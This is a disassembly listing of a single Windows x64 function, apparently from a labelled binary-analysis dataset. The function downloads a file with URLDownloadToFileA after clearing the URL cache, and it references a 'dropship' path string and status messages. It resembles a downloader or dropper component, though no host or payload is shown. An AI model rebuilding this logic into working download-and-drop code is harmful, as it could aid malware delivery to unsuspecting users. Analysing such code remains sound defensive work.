Function at 0x140004ca0
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x30]
sub rsp, 0x130
movaps xmmword [rsp + 0x120], xmm6
mov rax, qword [0x1400c3040]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov r15, r9
mov r12, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rbp - 0x68], rcx
mov qword [rbp - 0x60], rdx
mov r14, qword [rbp + 0x90]
xor r13d, r13d
lea rcx, [rsp + 0x60]
call fcn.140003c80
mov rbx, rax
lea rax, str.dropship
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 8
call fcn.1400814e4
movaps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
lea r8, [rbp - 0x50]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140001e90
nop
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.140002120
mov rbx, rax
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140004d84
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d7f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004d7f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400828f0
movdqa xmm6, xmmword [0x1400b2dd0]
movdqu xmmword [rsp + 0x50], xmm6
mov word [rsp + 0x40], r13w
mov rdx, rbx
lea rcx, [rbp - 0x40]
call fcn.140002600
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x140004df2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004de5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004de5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400828f0
movdqa xmm6, xmmword [0x1400b2dd0]
movdqu xmmword [rsp + 0x70], xmm6
mov word [rsp + 0x60], r13w
mov r8d, 3
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x50]
call fcn.140003ba0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x30], xmm0
mov edx, dword [rax + 8]
mov ecx, dword [rsp + 0x30]
test edx, edx
je 0x140004e34
lea eax, [rcx - 1]
test eax, 0xfffffff7
jne 0x1400052e9
lea rbx, [0x1400c30e8]
cmp ecx, 3
jne 0x140004e84
mov r8d, ecx
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x50]
call fcn.140003ba0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x30], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp - 0x50], ecx
mov qword [rbp - 0x48], rbx
movaps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
mov eax, dword [rsp + 0x30]
test eax, eax
jne 0x140004e7f
test ecx, ecx
jne 0x1400052bf
jmp 0x140004e84
cmp eax, 1
jne 0x140004ea6
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 7
cmova rcx, qword [rbp - 0x40]
call fcn.1400819e8
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x1400052fa
mov rcx, qword [rdi + 0x10]
mov rax, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140004eb7
mov rax, qword [rdi]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rcx
call fcn.1400814e4
movaps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
lea r8, [rbp - 0x50]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140001e90
nop
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x40]
call fcn.140002120
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140004f32
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004f2d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004f2d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400828f0
mov r8d, 3
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x50]
call fcn.140003ba0
movsd xmm0, qword [rax]
movsd qword [rsp + 0x30], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp - 0x50], ecx
mov qword [rbp - 0x48], rbx
movaps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
mov eax, dword [rsp + 0x30]
test eax, eax
jne 0x140004f74
test ecx, ecx
jne 0x1400052d4
jmp 0x140004f9b
cmp eax, 1
je 0x140004f9b
lea rcx, [rbp - 0x40]
cmp qword [rbp - 0x28], 7
cmova rcx, qword [rbp - 0x40]
call fcn.1400820e4
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x14000530f
lea rax, [rbp - 0x40]
cmp qword [rbp - 0x28], 7
cmova rax, qword [rbp - 0x40]
mov qword [rbp - 0x50], rax
mov rax, qword [rbp - 0x30]
mov qword [rbp - 0x48], rax
call fcn.1400814e4
movaps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
lea r8, [rbp - 0x50]
mov edx, eax
lea rcx, [rbp - 0x20]
call fcn.14000b730
nop
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rcx, qword [rbp - 0x20]
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rdx, qword [rbp - 0x20]
lea rcx, str.downloading:__s_n
call fcn.1400014f0
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
lea rax, vtable._downloading.0
mov qword [rbp], rax
mov qword [rbp + 8], r12
lea r8, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova r8, qword [rbp - 0x20]
mov rdx, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x140005032
mov rdx, qword [rsi]
lea rax, [rbp]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x140005297
lea rcx, str.download_worked_n
call fcn.1400014f0
test r15, r15
je 0x1400050c2
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rdx, qword [rbp - 0x20]
lea rcx, [rsp + 0x60]
call fcn.1400047a0
mov rdx, rax
mov rcx, r15
call fcn.140007ba0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1400050c2
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400050bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400050bd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400828f0
test r14, r14
je 0x14000511d
lea rax, [rbp - 0x40]
cmp r14, rax
je 0x14000511d
mov rbx, qword [rbp - 0x30]
lea r9, [rbp - 0x40]
cmp qword [rbp - 0x28], 7
cmova r9, qword [rbp - 0x40]
mov rax, qword [r14 + 0x18]
cmp rbx, rax
ja 0x140005111
mov r15, r14
cmp rax, 7
jbe 0x1400050f7
mov r15, qword [r14]
mov qword [r14 + 0x10], rbx
lea r8, [rbx + rbx]
mov rdx, r9
mov rcx, r15
call sub.VCRUNTIME140.dll_memmove
mov word [r15 + rbx*2], r13w
jmp 0x14000511d
mov rdx, rbx
mov rcx, r14
call fcn.14000a4d0
nop
lea rax, vtable._downloading.0
mov qword [rbp], rax
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140005166
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005161
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005161
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400828f0
movdqa xmm0, xmmword [0x1400b2df0]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x1400051ba
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400051b5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400051b5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400828f0
movdqa xmm0, xmmword [0x1400b2dd0]
movdqu xmmword [rbp - 0x30], xmm0
mov word [rbp - 0x40], r13w
mov rdx, qword [rsi + 0x18]
cmp rdx, 0xf
jbe 0x140005206
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x140005201
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140005289
mov rcx, r8
call fcn.1400828f0
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], 0xf
mov byte [rsi], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x14000524b
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140005246
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140005290
mov rcx, r8
call fcn.1400828f0
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.1400828d0
mov rbx, qword [rsp + 0x180]
movaps xmm6, xmmword [rsp + 0x120]
add rsp, 0x130
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, str.download_failed_n
call fcn.1400014f0
lea rcx, [rsp + 0x60]
call fcn.140004a30
lea rdx, [0x1400bea60]
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x50]
lea rcx, str.exists
call fcn.140003110
int3
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x50]
lea rcx, str.exists
call fcn.140003110
int3
lea r8, [rbp - 0x40]
lea rcx, str.status
call fcn.140003020
int3
shr rdx, 0x20
lea r8, [rbp - 0x40]
lea rcx, str.create_directory
call fcn.140003020
int3
shr rdx, 0x20
lea r8, [rbp - 0x40]
lea rcx, str.remove
call fcn.140003020
int3